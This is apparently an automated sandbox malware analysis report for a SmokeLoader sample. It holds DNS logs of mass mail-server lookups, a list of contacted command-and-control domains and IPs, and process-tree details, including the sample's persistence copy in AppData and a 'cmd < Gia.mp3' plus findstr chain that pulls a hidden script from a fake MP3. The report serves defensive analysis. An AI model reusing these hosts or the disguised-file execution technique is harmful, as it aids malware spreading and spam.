Sep 7, 2021 16:04:28.855717897 CEST	8.8.8.8	192.168.2.4	0x9fa8	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.855717897 CEST	8.8.8.8	192.168.2.4	0x9fa8	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.855717897 CEST	8.8.8.8	192.168.2.4	0x9fa8	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.660129070 CEST	8.8.8.8	192.168.2.4	0x54b2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.660129070 CEST	8.8.8.8	192.168.2.4	0x54b2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.660129070 CEST	8.8.8.8	192.168.2.4	0x54b2	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.660129070 CEST	8.8.8.8	192.168.2.4	0x54b2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.660129070 CEST	8.8.8.8	192.168.2.4	0x54b2	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.660129070 CEST	8.8.8.8	192.168.2.4	0x54b2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.752933979 CEST	8.8.8.8	192.168.2.4	0x78d3	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.802977085 CEST	8.8.8.8	192.168.2.4	0xdd71	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.802977085 CEST	8.8.8.8	192.168.2.4	0xdd71	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.802977085 CEST	8.8.8.8	192.168.2.4	0xdd71	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.802977085 CEST	8.8.8.8	192.168.2.4	0xdd71	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.802977085 CEST	8.8.8.8	192.168.2.4	0xdd71	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.802977085 CEST	8.8.8.8	192.168.2.4	0xdd71	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.060096979 CEST	8.8.8.8	192.168.2.4	0xd4a	No error (0)	centrum.cz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:30.060096979 CEST	8.8.8.8	192.168.2.4	0xd4a	No error (0)	centrum.cz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:30.060096979 CEST	8.8.8.8	192.168.2.4	0xd4a	No error (0)	centrum.cz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:30.060096979 CEST	8.8.8.8	192.168.2.4	0xd4a	No error (0)	centrum.cz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:30.180752993 CEST	8.8.8.8	192.168.2.4	0x80de	No error (0)	cax.virusfree.cz		5.180.49.35	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.180752993 CEST	8.8.8.8	192.168.2.4	0x80de	No error (0)	cax.virusfree.cz		31.7.241.25	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.203824997 CEST	8.8.8.8	192.168.2.4	0x9ac8	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.564913988 CEST	8.8.8.8	192.168.2.4	0x87cb	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.564913988 CEST	8.8.8.8	192.168.2.4	0x87cb	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.564913988 CEST	8.8.8.8	192.168.2.4	0x87cb	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.564913988 CEST	8.8.8.8	192.168.2.4	0x87cb	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.564913988 CEST	8.8.8.8	192.168.2.4	0x87cb	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.564913988 CEST	8.8.8.8	192.168.2.4	0x87cb	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:32.398566008 CEST	8.8.8.8	192.168.2.4	0xec02	No error (0)	korea.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:32.398566008 CEST	8.8.8.8	192.168.2.4	0xec02	No error (0)	korea.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:32.398566008 CEST	8.8.8.8	192.168.2.4	0xec02	No error (0)	korea.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:32.398566008 CEST	8.8.8.8	192.168.2.4	0xec02	No error (0)	korea.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:32.479595900 CEST	8.8.8.8	192.168.2.4	0x45db	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:32.509757996 CEST	8.8.8.8	192.168.2.4	0x95b5	No error (0)	mx02.mail.icloud.com		17.56.9.19	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:32.509757996 CEST	8.8.8.8	192.168.2.4	0x95b5	No error (0)	mx02.mail.icloud.com		17.42.251.12	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:32.509757996 CEST	8.8.8.8	192.168.2.4	0x95b5	No error (0)	mx02.mail.icloud.com		17.57.152.14	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:32.509757996 CEST	8.8.8.8	192.168.2.4	0x95b5	No error (0)	mx02.mail.icloud.com		17.57.154.7	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:33.318151951 CEST	8.8.8.8	192.168.2.4	0xec02	Server failure (2)	korea.com	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:33.835844040 CEST	8.8.8.8	192.168.2.4	0xf180	No error (0)	zjmdc.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:33.835844040 CEST	8.8.8.8	192.168.2.4	0xf180	No error (0)	zjmdc.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:33.842403889 CEST	8.8.8.8	192.168.2.4	0xf180	No error (0)	zjmdc.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:33.842403889 CEST	8.8.8.8	192.168.2.4	0xf180	No error (0)	zjmdc.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:33.934705019 CEST	8.8.8.8	192.168.2.4	0xad8a	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:34.014514923 CEST	8.8.8.8	192.168.2.4	0xf8c0	No error (0)	mx.lycos.de.cust.b.hostedemail.com		64.98.36.4	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:34.389105082 CEST	8.8.8.8	192.168.2.4	0x37c6	No error (0)	interia.pl			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:34.441916943 CEST	8.8.8.8	192.168.2.4	0x9e2b	No error (0)	mx.interia.pl		217.74.65.64	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:34.482557058 CEST	8.8.8.8	192.168.2.4	0xa4e2	Name error (3)	XnreryDtttxrMmEdC.XnreryDtttxrMmEdC	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:35.158307076 CEST	8.8.8.8	192.168.2.4	0x4876	No error (0)	mx.wp.pl		212.77.101.4	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:35.282231092 CEST	8.8.8.8	192.168.2.4	0x18dc	No error (0)	mxn.mxhichina.com		205.204.101.145	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:35.313720942 CEST	8.8.8.8	192.168.2.4	0x18dc	No error (0)	mxn.mxhichina.com		205.204.101.145	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:35.355068922 CEST	8.8.8.8	192.168.2.4	0x4e4f	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:35.734004021 CEST	8.8.8.8	192.168.2.4	0x9a0b	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:36.105132103 CEST	8.8.8.8	192.168.2.4	0x5054	No error (0)	mx.wp.pl		212.77.101.4	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:36.288361073 CEST	8.8.8.8	192.168.2.4	0xddf3	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:36.659615993 CEST	8.8.8.8	192.168.2.4	0x896a	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:39.019699097 CEST	8.8.8.8	192.168.2.4	0x296c	No error (0)	m.youtube.com		142.250.179.206	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:39.072499990 CEST	8.8.8.8	192.168.2.4	0xb343	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:40.628304005 CEST	8.8.8.8	192.168.2.4	0x9032	No error (0)	rediffmail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:40.684427023 CEST	8.8.8.8	192.168.2.4	0xdb90	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:41.886588097 CEST	8.8.8.8	192.168.2.4	0x4431	Name error (3)	ryanandkellywedding.com	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:42.310338974 CEST	8.8.8.8	192.168.2.4	0xdb69	Name error (3)	ideaju.fr	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:42.680995941 CEST	8.8.8.8	192.168.2.4	0x1dc2	No error (0)	mx1.hanmail.net		211.231.108.46	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:44.734042883 CEST	8.8.8.8	192.168.2.4	0x62ed	Server failure (2)	meyzo.net	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:44.783976078 CEST	8.8.8.8	192.168.2.4	0x378a	Name error (3)	kitooes.com	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:44.869982004 CEST	8.8.8.8	192.168.2.4	0xb5a4	No error (0)	mx1.hanmail.net		211.231.108.46	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:44.894123077 CEST	8.8.8.8	192.168.2.4	0x5f65	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:45.827037096 CEST	8.8.8.8	192.168.2.4	0x62ed	Server failure (2)	meyzo.net	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:46.684964895 CEST	8.8.8.8	192.168.2.4	0x7786	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:48.108469009 CEST	8.8.8.8	192.168.2.4	0x77f2	No error (0)	deshpande.net.nz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:48.108469009 CEST	8.8.8.8	192.168.2.4	0x77f2	No error (0)	deshpande.net.nz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:48.108469009 CEST	8.8.8.8	192.168.2.4	0x77f2	No error (0)	deshpande.net.nz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:48.108469009 CEST	8.8.8.8	192.168.2.4	0x77f2	No error (0)	deshpande.net.nz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:48.108469009 CEST	8.8.8.8	192.168.2.4	0x77f2	No error (0)	deshpande.net.nz			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:48.317543983 CEST	8.8.8.8	192.168.2.4	0xf3ca	No error (0)	aspmx.l.google.com		108.177.127.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:49.226795912 CEST	8.8.8.8	192.168.2.4	0xc2b3	No error (0)	sina.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.226795912 CEST	8.8.8.8	192.168.2.4	0xc2b3	No error (0)	sina.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.226795912 CEST	8.8.8.8	192.168.2.4	0xc2b3	No error (0)	sina.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.359261036 CEST	8.8.8.8	192.168.2.4	0x31e4	Name error (3)	airjordanoutletshop.us	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.429013014 CEST	8.8.8.8	192.168.2.4	0xda96	Name error (3)	disajioa.com	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.544369936 CEST	8.8.8.8	192.168.2.4	0x68f3	No error (0)	ayhoo.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.655201912 CEST	8.8.8.8	192.168.2.4	0x638a	No error (0)	freemx2.sinamail.sina.com.cn		121.14.32.117	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:49.761151075 CEST	8.8.8.8	192.168.2.4	0x6163	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:51.502660036 CEST	8.8.8.8	192.168.2.4	0x1dbc	Name error (3)	funeemail.info	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:51.581154108 CEST	8.8.8.8	192.168.2.4	0x20d2	No error (0)	worldnet.att.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:51.581154108 CEST	8.8.8.8	192.168.2.4	0x20d2	No error (0)	worldnet.att.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:51.581154108 CEST	8.8.8.8	192.168.2.4	0x20d2	No error (0)	worldnet.att.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:51.581154108 CEST	8.8.8.8	192.168.2.4	0x20d2	No error (0)	worldnet.att.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:51.640799046 CEST	8.8.8.8	192.168.2.4	0xb1e7	No error (0)	ff-ip4-mx-vip2.prodigy.net		144.160.159.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:51.655260086 CEST	8.8.8.8	192.168.2.4	0xad0c	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:52.477458000 CEST	8.8.8.8	192.168.2.4	0xb88c	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:54.492768049 CEST	8.8.8.8	192.168.2.4	0x5ca6	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:55.310616970 CEST	8.8.8.8	192.168.2.4	0x59f8	No error (0)	mx.lb.btinternet.com		213.120.69.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:55.644113064 CEST	8.8.8.8	192.168.2.4	0xd336	No error (0)	tiscali.co.uk			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:55.781667948 CEST	8.8.8.8	192.168.2.4	0x4ad3	No error (0)	mx.tiscali.co.uk		62.24.139.42	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:56.387478113 CEST	8.8.8.8	192.168.2.4	0xb116	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:56.771219969 CEST	8.8.8.8	192.168.2.4	0xb216	Name error (3)	lycos.cokr	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:56.904759884 CEST	8.8.8.8	192.168.2.4	0x3c4a	Name error (3)	dkashf.fgt	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.007337093 CEST	8.8.8.8	192.168.2.4	0x70fb	No error (0)	prorush.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.007337093 CEST	8.8.8.8	192.168.2.4	0x70fb	No error (0)	prorush.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.107276917 CEST	8.8.8.8	192.168.2.4	0x64ed	No error (0)	mxf908.netcup.net		46.38.249.8	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:57.146346092 CEST	8.8.8.8	192.168.2.4	0x3506	No error (0)	avstralia.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.234075069 CEST	8.8.8.8	192.168.2.4	0xd67c	No error (0)	mail.ixlab.de		217.11.48.15	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:57.413106918 CEST	8.8.8.8	192.168.2.4	0xca42	Name error (3)	ryanandkellywedding.com	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.508140087 CEST	8.8.8.8	192.168.2.4	0xad14	No error (0)	mxf908.netcup.net		46.38.249.8	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:57.627918959 CEST	8.8.8.8	192.168.2.4	0x8ea7	No error (0)	doramail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.627918959 CEST	8.8.8.8	192.168.2.4	0x8ea7	No error (0)	doramail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.712277889 CEST	8.8.8.8	192.168.2.4	0x42ce	No error (0)	mx01.gmx.com		74.208.5.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:57.830815077 CEST	8.8.8.8	192.168.2.4	0xcc56	No error (0)	daum.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.830815077 CEST	8.8.8.8	192.168.2.4	0xcc56	No error (0)	daum.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.830815077 CEST	8.8.8.8	192.168.2.4	0xcc56	No error (0)	daum.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.830815077 CEST	8.8.8.8	192.168.2.4	0xcc56	No error (0)	daum.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.970537901 CEST	8.8.8.8	192.168.2.4	0x3368	No error (0)	mx1.hanmail.net		211.231.108.46	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:58.157028913 CEST	8.8.8.8	192.168.2.4	0x8018	No error (0)	carolina.rr.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:58.289660931 CEST	8.8.8.8	192.168.2.4	0x7218	No error (0)	pkvw-mx.msg.pkvw.co.charter.net		47.43.26.7	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:58.312418938 CEST	8.8.8.8	192.168.2.4	0xf8c	No error (0)	r-smtp3.korea.com		119.205.212.219	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

fazanaharahe1.xyz

xandelissane2.xyz

ustiassosale3.xyz

cytheriata4.xyz

ggiergionard5.xyz

gilmandros11.site

cusanthana12.site

willietjeana13.site

ximusokall14.site

blodinetisha15.site

urydiahadyss16.club

privacytoolz123foryou.xyz

193.56.146.41:9080

95.215.205.85

www.google.com

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: DWVByMCYL8.exe PID: 7076 Parent PID: 816

General

Start time:	16:01:52
Start date:	07/09/2021
Path:	C:\Users\user\Desktop\DWVByMCYL8.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\DWVByMCYL8.exe'
Imagebase:	0x400000
File size:	252928 bytes
MD5 hash:	743BCC99B15C971E0269CB3376C9FF69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: DWVByMCYL8.exe PID: 7104 Parent PID: 7076

General

Start time:	16:01:54
Start date:	07/09/2021
Path:	C:\Users\user\Desktop\DWVByMCYL8.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\DWVByMCYL8.exe'
Imagebase:	0x400000
File size:	252928 bytes
MD5 hash:	743BCC99B15C971E0269CB3376C9FF69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000001.00000001.665181950.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.711202334.0000000000420000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 7104

General

Start time:	16:02:00
Start date:	07/09/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6392 Parent PID: 568

General

Start time:	16:02:01
Start date:	07/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5388 Parent PID: 568

General

Start time:	16:02:21
Start date:	07/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5332 Parent PID: 568

General

Start time:	16:02:30
Start date:	07/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: geedrvu PID: 3136 Parent PID: 968

General

Start time:	16:02:31
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Roaming\geedrvu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\geedrvu
Imagebase:	0x400000
File size:	252928 bytes
MD5 hash:	743BCC99B15C971E0269CB3376C9FF69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: geedrvu PID: 6640 Parent PID: 3136

General

Start time:	16:02:33
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Roaming\geedrvu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\geedrvu
Imagebase:	0x400000
File size:	252928 bytes
MD5 hash:	743BCC99B15C971E0269CB3376C9FF69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.760396326.0000000000580000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000B.00000001.748020468.0000000000400000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: C612.exe PID: 6656 Parent PID: 3424

General

Start time:	16:02:33
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\C612.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C612.exe
Imagebase:	0x400000
File size:	276480 bytes
MD5 hash:	ED7B533D9B8219120357104839B1C960
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: C612.exe PID: 6868 Parent PID: 6656

General

Start time:	16:02:35
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\C612.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C612.exe
Imagebase:	0x400000
File size:	276480 bytes
MD5 hash:	ED7B533D9B8219120357104839B1C960
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.884737537.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: D322.exe PID: 6748 Parent PID: 3424

General

Start time:	16:02:36
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\D322.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D322.exe
Imagebase:	0x11b0000
File size:	1062400 bytes
MD5 hash:	9D34489B28093F8041A0F396F88507CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 22%, ReversingLabs

Chronological Activities

Analysis Process: dllhost.exe PID: 6844 Parent PID: 6748

General

Start time:	16:02:38
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	dllhost.exe
Imagebase:	0xa90000
File size:	19360 bytes
MD5 hash:	70E2034A1C3D0ECCB73F57E33D4BFFA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6920 Parent PID: 6748

General

Start time:	16:02:38
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c cmd < Gia.mp3
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6932 Parent PID: 6920

General

Start time:	16:02:39
Start date:	07/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6976 Parent PID: 6920

General

Start time:	16:02:39
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: findstr.exe PID: 6740 Parent PID: 6976

General

Start time:	16:02:40
Start date:	07/09/2021
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V /R '^CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp$' Essere.mp3
Imagebase:	0x170000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 55AD.exe PID: 6788 Parent PID: 3424

General

Start time:	16:02:41
Start date:	07/09/2021
Path:	C:\Users\user\AppData\Local\Temp\55AD.exe
Wow64 process (32bit):	true
